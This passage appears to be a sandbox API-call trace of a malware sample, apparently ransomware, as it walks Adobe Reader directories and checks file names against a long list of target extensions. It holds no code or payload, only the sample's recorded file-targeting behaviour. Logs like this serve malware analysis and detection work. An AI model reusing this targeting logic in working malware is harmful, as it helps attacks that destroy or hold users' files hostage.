(lpString=".dsn") returned 4 [0271.323] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1 [0271.323] lstrlenW (lpString=".dt") returned 3 [0271.323] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0271.323] lstrlenW (lpString=".dtd") returned 4 [0271.323] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1 [0271.323] lstrlenW (lpString=".dwg") returned 4 [0271.323] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1 [0271.323] lstrlenW (lpString=".dwt") returned 4 [0271.323] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1 [0271.324] lstrlenW (lpString=".dx") returned 3 [0271.324] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0271.324] lstrlenW (lpString=".dxf") returned 4 [0271.324] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1 [0271.324] lstrlenW (lpString=".edml") returned 5 [0271.324] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1 [0271.324] lstrlenW (lpString=".efd") returned 4 [0271.324] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1 [0271.324] lstrlenW (lpString=".elf") returned 4 [0271.324] lstrcmpiW (lpString1=".elf", lpString2="s.js") returned -1 [0271.324] lstrlenW (lpString=".emf") returned 4 [0271.324] lstrcmpiW (lpString1=".emf", lpString2="s.js") returned -1 [0271.324] lstrlenW (lpString=".emz") returned 4 [0271.324] lstrcmpiW (lpString1=".emz", lpString2="s.js") returned -1 [0271.324] lstrlenW (lpString=".epf") returned 4 [0271.324] lstrcmpiW (lpString1=".epf", lpString2="s.js") returned -1 [0271.324] lstrlenW (lpString=".eps") returned 4 [0271.324] lstrcmpiW (lpString1=".eps", lpString2="s.js") returned -1 [0271.324] lstrlenW (lpString=".epsf") returned 5 [0271.324] lstrcmpiW (lpString1=".epsf", lpString2="gs.js") returned -1 [0271.324] lstrlenW (lpString=".epsp") returned 5 [0271.324] lstrcmpiW (lpString1=".epsp", lpString2="gs.js") returned -1 [0271.324] lstrlenW (lpString=".erf") returned 4 [0271.325] lstrcmpiW (lpString1=".erf", lpString2="s.js") returned -1 [0271.325] lstrlenW (lpString=".exr") returned 4 [0271.325] lstrcmpiW (lpString1=".exr", lpString2="s.js") returned -1 [0271.325] lstrlenW (lpString=".f4v") returned 4 [0271.325] lstrcmpiW (lpString1=".f4v", lpString2="s.js") returned -1 [0271.325] lstrlenW (lpString=".fido") returned 5 [0271.325] lstrcmpiW (lpString1=".fido", lpString2="gs.js") returned -1 [0271.325] lstrlenW (lpString=".flm") returned 4 [0271.325] lstrcmpiW (lpString1=".flm", lpString2="s.js") returned -1 [0271.325] lstrlenW (lpString=".flv") returned 4 [0271.325] lstrcmpiW (lpString1=".flv", lpString2="s.js") returned -1 [0271.325] lstrlenW (lpString=".frm") returned 4 [0271.325] lstrcmpiW (lpString1=".frm", lpString2="s.js") returned -1 [0271.325] lstrlenW (lpString=".fxg") returned 4 [0271.325] lstrcmpiW (lpString1=".fxg", lpString2="s.js") returned -1 [0271.325] lstrlenW (lpString=".geo") returned 4 [0271.325] lstrcmpiW (lpString1=".geo", lpString2="s.js") returned -1 [0271.325] lstrlenW (lpString=".gif") returned 4 [0271.325] lstrcmpiW (lpString1=".gif", lpString2="s.js") returned -1 [0271.325] lstrlenW (lpString=".grs") returned 4 [0271.325] lstrcmpiW (lpString1=".grs", lpString2="s.js") returned -1 [0271.325] lstrlenW (lpString=".gz") returned 3 [0271.325] lstrcmpiW (lpString1=".gz", lpString2=".js") returned -1 [0271.325] lstrlenW (lpString=".h") returned 2 [0271.326] lstrcmpiW (lpString1=".h", lpString2="js") returned -1 [0271.326] lstrlenW (lpString=".hdr") returned 4 [0271.326] lstrcmpiW (lpString1=".hdr", lpString2="s.js") returned -1 [0271.326] lstrlenW (lpString=".hpp") returned 4 [0271.326] lstrcmpiW (lpString1=".hpp", lpString2="s.js") returned -1 [0271.326] lstrlenW (lpString=".hta") returned 4 [0271.326] lstrcmpiW (lpString1=".hta", lpString2="s.js") returned -1 [0271.326] lstrlenW (lpString=".htc") returned 4 [0271.326] lstrcmpiW (lpString1=".htc", lpString2="s.js") returned -1 [0271.326] lstrlenW (lpString=".htm") returned 4 [0271.326] lstrcmpiW (lpString1=".htm", lpString2="s.js") returned -1 [0271.326] lstrlenW (lpString=".html") returned 5 [0271.326] lstrcmpiW (lpString1=".html", lpString2="gs.js") returned -1 [0271.326] lstrlenW (lpString=".icb") returned 4 [0271.326] lstrcmpiW (lpString1=".icb", lpString2="s.js") returned -1 [0271.326] lstrlenW (lpString=".ics") returned 4 [0271.326] lstrcmpiW (lpString1=".ics", lpString2="s.js") returned -1 [0271.326] lstrlenW (lpString=".iff") returned 4 [0271.326] lstrcmpiW (lpString1=".iff", lpString2="s.js") returned -1 [0271.326] lstrlenW (lpString=".inc") returned 4 [0271.326] lstrcmpiW (lpString1=".inc", lpString2="s.js") returned -1 [0271.326] lstrlenW (lpString=".indd") returned 5 [0271.326] lstrcmpiW (lpString1=".indd", lpString2="gs.js") returned -1 [0271.327] lstrlenW (lpString=".ini") returned 4 [0271.327] lstrcmpiW (lpString1=".ini", lpString2="s.js") returned -1 [0271.327] lstrlenW (lpString=".iqy") returned 4 [0271.327] lstrcmpiW (lpString1=".iqy", lpString2="s.js") returned -1 [0271.327] lstrlenW (lpString=".j2c") returned 4 [0271.327] lstrcmpiW (lpString1=".j2c", lpString2="s.js") returned -1 [0271.327] lstrlenW (lpString=".j2k") returned 4 [0271.327] lstrcmpiW (lpString1=".j2k", lpString2="s.js") returned -1 [0271.327] lstrlenW (lpString=".java") returned 5 [0271.327] lstrcmpiW (lpString1=".java", lpString2="gs.js") returned -1 [0271.327] lstrlenW (lpString=".jp2") returned 4 [0271.327] lstrcmpiW (lpString1=".jp2", lpString2="s.js") returned -1 [0271.327] lstrlenW (lpString=".jpc") returned 4 [0271.327] lstrcmpiW (lpString1=".jpc", lpString2="s.js") returned -1 [0271.327] lstrlenW (lpString=".jpe") returned 4 [0271.327] lstrcmpiW (lpString1=".jpe", lpString2="s.js") returned -1 [0271.327] lstrlenW (lpString=".jpeg") returned 5 [0271.327] lstrcmpiW (lpString1=".jpeg", lpString2="gs.js") returned -1 [0271.327] lstrlenW (lpString=".jpf") returned 4 [0271.327] lstrcmpiW (lpString1=".jpf", lpString2="s.js") returned -1 [0271.327] lstrlenW (lpString=".jpg") returned 4 [0271.327] lstrcmpiW (lpString1=".jpg", lpString2="s.js") returned -1 [0271.327] lstrlenW (lpString=".jpx") returned 4 [0271.327] lstrcmpiW (lpString1=".jpx", lpString2="s.js") returned -1 [0271.328] lstrlenW (lpString=".js") returned 3 [0271.328] lstrcmpiW (lpString1=".js", lpString2=".js") returned 0 [0271.328] FindNextFileW (in: hFindFile=0x3315ab0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x771, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0271.328] FindClose (in: hFindFile=0x3315ab0 | out: hFindFile=0x3315ab0) returned 1 [0271.328] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0271.328] FindNextFileW (in: hFindFile=0x3315830, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-it", cAlternateFileName="")) returned 1 [0271.328] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\it-it") returned 119 [0271.328] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\it-it") returned 1 [0271.328] lstrlenW (lpString="it-it") returned 5 [0271.328] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="it-it") returned -1 [0271.328] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x42b0fd0 [0271.328] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\it-it") returned 119 [0271.328] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\it-it\\*", lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3315bf0 [0271.692] FindNextFileW (in: hFindFile=0x3315bf0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0271.692] FindNextFileW (in: hFindFile=0x3315bf0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x73f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0271.692] lstrlenW (lpString="ui-strings.js") returned 13 [0271.692] lstrlenW (lpString=".1cd") returned 4 [0271.692] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1 [0271.692] lstrlenW (lpString=".3ds") returned 4 [0271.693] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1 [0271.693] lstrlenW (lpString=".3fr") returned 4 [0271.693] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1 [0271.693] lstrlenW (lpString=".3g2") returned 4 [0271.693] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1 [0271.693] lstrlenW (lpString=".3gp") returned 4 [0271.693] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1 [0271.693] lstrlenW (lpString=".7z") returned 3 [0271.693] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0271.693] lstrlenW (lpString=".accda") returned 6 [0271.693] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1 [0271.693] lstrlenW (lpString=".accdb") returned 6 [0271.693] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1 [0271.693] lstrlenW (lpString=".accdc") returned 6 [0271.693] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1 [0271.693] lstrlenW (lpString=".accde") returned 6 [0271.693] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1 [0271.693] lstrlenW (lpString=".accdt") returned 6 [0271.693] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1 [0271.693] lstrlenW (lpString=".accdw") returned 6 [0271.693] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1 [0271.693] lstrlenW (lpString=".adb") returned 4 [0271.693] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1 [0271.693] lstrlenW (lpString=".adp") returned 4 [0271.694] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1 [0271.694] lstrlenW (lpString=".ai") returned 3 [0271.694] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0271.694] lstrlenW (lpString=".ai3") returned 4 [0271.694] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1 [0271.694] lstrlenW (lpString=".ai4") returned 4 [0271.694] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1 [0271.694] lstrlenW (lpString=".ai5") returned 4 [0271.694] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1 [0271.694] lstrlenW (lpString=".ai6") returned 4 [0271.694] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1 [0271.694] lstrlenW (lpString=".ai7") returned 4 [0271.694] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1 [0271.694] lstrlenW (lpString=".ai8") returned 4 [0271.694] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1 [0271.694] lstrlenW (lpString=".anim") returned 5 [0271.694] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1 [0271.694] lstrlenW (lpString=".arw") returned 4 [0271.694] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1 [0271.694] lstrlenW (lpString=".as") returned 3 [0271.694] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0271.694] lstrlenW (lpString=".asa") returned 4 [0271.694] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1 [0271.694] lstrlenW (lpString=".asc") returned 4 [0271.694] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1 [0271.694] lstrlenW (lpString=".ascx") returned 5 [0271.695] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1 [0271.695] lstrlenW (lpString=".asm") returned 4 [0271.695] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1 [0271.695] lstrlenW (lpString=".asmx") returned 5 [0271.695] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1 [0271.695] lstrlenW (lpString=".asp") returned 4 [0271.695] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1 [0271.695] lstrlenW (lpString=".aspx") returned 5 [0271.695] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1 [0271.695] lstrlenW (lpString=".asr") returned 4 [0271.695] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1 [0271.695] lstrlenW (lpString=".asx") returned 4 [0271.695] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1 [0271.695] lstrlenW (lpString=".avi") returned 4 [0271.695] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1 [0271.695] lstrlenW (lpString=".avs") returned 4 [0271.695] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1 [0271.695] lstrlenW (lpString=".backup") returned 7 [0271.695] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1 [0271.695] lstrlenW (lpString=".bak") returned 4 [0271.695] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1 [0271.695] lstrlenW (lpString=".bay") returned 4 [0271.695] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1 [0271.695] lstrlenW (lpString=".bd") returned 3 [0271.695] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0271.695] lstrlenW (lpString=".bin") returned 4 [0271.695] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1 [0271.696] lstrlenW (lpString=".bmp") returned 4 [0271.696] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1 [0271.696] lstrlenW (lpString=".bz2") returned 4 [0271.696] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1 [0271.696] lstrlenW (lpString=".c") returned 2 [0271.696] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0271.696] lstrlenW (lpString=".cdr") returned 4 [0271.696] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1 [0271.696] lstrlenW (lpString=".cer") returned 4 [0271.696] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1 [0271.696] lstrlenW (lpString=".cf") returned 3 [0271.696] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0271.696] lstrlenW (lpString=".cfc") returned 4 [0271.696] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1 [0271.696] lstrlenW (lpString=".cfm") returned 4 [0271.696] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1 [0271.696] lstrlenW (lpString=".cfml") returned 5 [0271.696] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1 [0271.696] lstrlenW (lpString=".cfu") returned 4 [0271.696] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1 [0271.696] lstrlenW (lpString=".chm") returned 4 [0271.696] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1 [0271.696] lstrlenW (lpString=".cin") returned 4 [0271.696] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1 [0271.696] lstrlenW (lpString=".class") returned 6 [0271.697] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1 [0271.697] lstrlenW (lpString=".clx") returned 4 [0271.697] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1 [0271.697] lstrlenW (lpString=".config") returned 7 [0271.697] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1 [0271.697] lstrlenW (lpString=".cpp") returned 4 [0271.697] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1 [0271.697] lstrlenW (lpString=".cr2") returned 4 [0271.697] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1 [0271.697] lstrlenW (lpString=".crt") returned 4 [0271.697] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1 [0271.697] lstrlenW (lpString=".crw") returned 4 [0271.697] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1 [0271.701] lstrlenW (lpString=".cs") returned 3 [0271.701] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0271.701] lstrlenW (lpString=".css") returned 4 [0271.701] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1 [0271.701] lstrlenW (lpString=".csv") returned 4 [0271.701] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1 [0271.701] lstrlenW (lpString=".cub") returned 4 [0271.701] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1 [0271.701] lstrlenW (lpString=".dae") returned 4 [0271.701] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1 [0271.701] lstrlenW (lpString=".dat") returned 4 [0271.701] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1 [0271.701] lstrlenW (lpString=".db") returned 3 [0271.701] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0271.701] lstrlenW (lpString=".dbf") returned 4 [0271.701] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1 [0271.701] lstrlenW (lpString=".dbx") returned 4 [0271.701] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1 [0271.701] lstrlenW (lpString=".dc3") returned 4 [0271.701] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1 [0271.701] lstrlenW (lpString=".dcm") returned 4 [0271.701] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1 [0271.701] lstrlenW (lpString=".dcr") returned 4 [0271.701] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1 [0271.701] lstrlenW (lpString=".der") returned 4 [0271.702] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1 [0271.702] lstrlenW (lpString=".dib") returned 4 [0271.702] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1 [0271.702] lstrlenW (lpString=".dic") returned 4 [0271.702] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1 [0271.702] lstrlenW (lpString=".dif") returned 4 [0271.702] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1 [0271.702] lstrlenW (lpString=".divx") returned 5 [0271.702] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1 [0271.702] lstrlenW (lpString=".djvu") returned 5 [0271.702] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1 [0271.702] lstrlenW (lpString=".dng") returned 4 [0271.702] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1 [0271.702] lstrlenW (lpString=".doc") returned 4 [0271.702] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1 [0271.702] lstrlenW (lpString=".docm") returned 5 [0271.702] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1 [0271.702] lstrlenW (lpString=".docx") returned 5 [0271.702] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1 [0271.702] lstrlenW (lpString=".dot") returned 4 [0271.702] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1 [0271.702] lstrlenW (lpString=".dotm") returned 5 [0271.702] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1 [0271.703] lstrlenW (lpString=".dotx") returned 5 [0271.703] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1 [0271.703] lstrlenW (lpString=".dpx") returned 4 [0271.703] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1 [0271.703] lstrlenW (lpString=".dqy") returned 4 [0271.703] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1 [0271.703] lstrlenW (lpString=".dsn") returned 4 [0271.703] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1 [0271.703] lstrlenW (lpString=".dt") returned 3 [0271.703] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0271.703] lstrlenW (lpString=".dtd") returned 4 [0271.703] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1 [0271.703] lstrlenW (lpString=".dwg") returned 4 [0271.703] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1 [0271.703] lstrlenW (lpString=".dwt") returned 4 [0271.703] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1 [0271.703] lstrlenW (lpString=".dx") returned 3 [0271.703] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0271.703] lstrlenW (lpString=".dxf") returned 4 [0271.703] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1 [0271.703] lstrlenW (lpString=".edml") returned 5 [0271.703] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1 [0271.703] lstrlenW (lpString=".efd") returned 4 [0271.703] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1 [0271.703] lstrlenW (lpString=".elf") returned 4 [0271.703] lstrcmpiW (lpString1=".elf", lpString2="s.js") returned -1 [0271.703] lstrlenW (lpString=".emf") returned 4 [0271.704] lstrcmpiW (lpString1=".emf", lpString2="s.js") returned -1 [0271.704] lstrlenW (lpString=".emz") returned 4 [0271.704] lstrcmpiW (lpString1=".emz", lpString2="s.js") returned -1 [0271.704] lstrlenW (lpString=".epf") returned 4 [0271.704] lstrcmpiW (lpString1=".epf", lpString2="s.js") returned -1 [0271.704] lstrlenW (lpString=".eps") returned 4 [0271.704] lstrcmpiW (lpString1=".eps", lpString2="s.js") returned -1 [0271.704] lstrlenW (lpString=".epsf") returned 5 [0271.704] lstrcmpiW (lpString1=".epsf", lpString2="gs.js") returned -1 [0271.704] lstrlenW (lpString=".epsp") returned 5 [0271.704] lstrcmpiW (lpString1=".epsp", lpString2="gs.js") returned -1 [0271.704] lstrlenW (lpString=".erf") returned 4 [0271.704] lstrcmpiW (lpString1=".erf", lpString2="s.js") returned -1 [0271.704] lstrlenW (lpString=".exr") returned 4 [0271.704] lstrcmpiW (lpString1=".exr", lpString2="s.js") returned -1 [0271.704] lstrlenW (lpString=".f4v") returned 4 [0271.704] lstrcmpiW (lpString1=".f4v", lpString2="s.js") returned -1 [0271.704] FindNextFileW (in: hFindFile=0x3315bf0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x73f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0271.705] FindClose (in: hFindFile=0x3315bf0 | out: hFindFile=0x3315bf0) returned 1 [0271.705] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0271.705] FindNextFileW (in: hFindFile=0x3315830, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp", cAlternateFileName="")) returned 1 [0271.705] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x42b0fd0 [0271.705] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\ja-jp\\*", lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3315b70 [0271.706] FindNextFileW (in: hFindFile=0x3315b70, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0271.706] FindNextFileW (in: hFindFile=0x3315b70, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x7ed, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0271.706] lstrlenW (lpString="ui-strings.js") returned 13 [0271.706] lstrlenW (lpString=".1cd") returned 4 [0271.706] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1 [0271.706] lstrlenW (lpString=".3ds") returned 4 [0271.706] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1 [0271.706] lstrlenW (lpString=".3fr") returned 4 [0271.706] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1 [0271.706] lstrlenW (lpString=".3g2") returned 4 [0271.706] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1 [0271.706] lstrlenW (lpString=".3gp") returned 4 [0271.706] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1 [0271.706] lstrlenW (lpString=".7z") returned 3 [0271.706] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0271.706] lstrlenW (lpString=".accda") returned 6 [0271.706] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1 [0271.706] lstrlenW (lpString=".accdb") returned 6 [0271.706] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1 [0271.706] lstrlenW (lpString=".accdc") returned 6 [0271.707] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1 [0271.707] lstrlenW (lpString=".accde") returned 6 [0271.707] lstrcmpiW 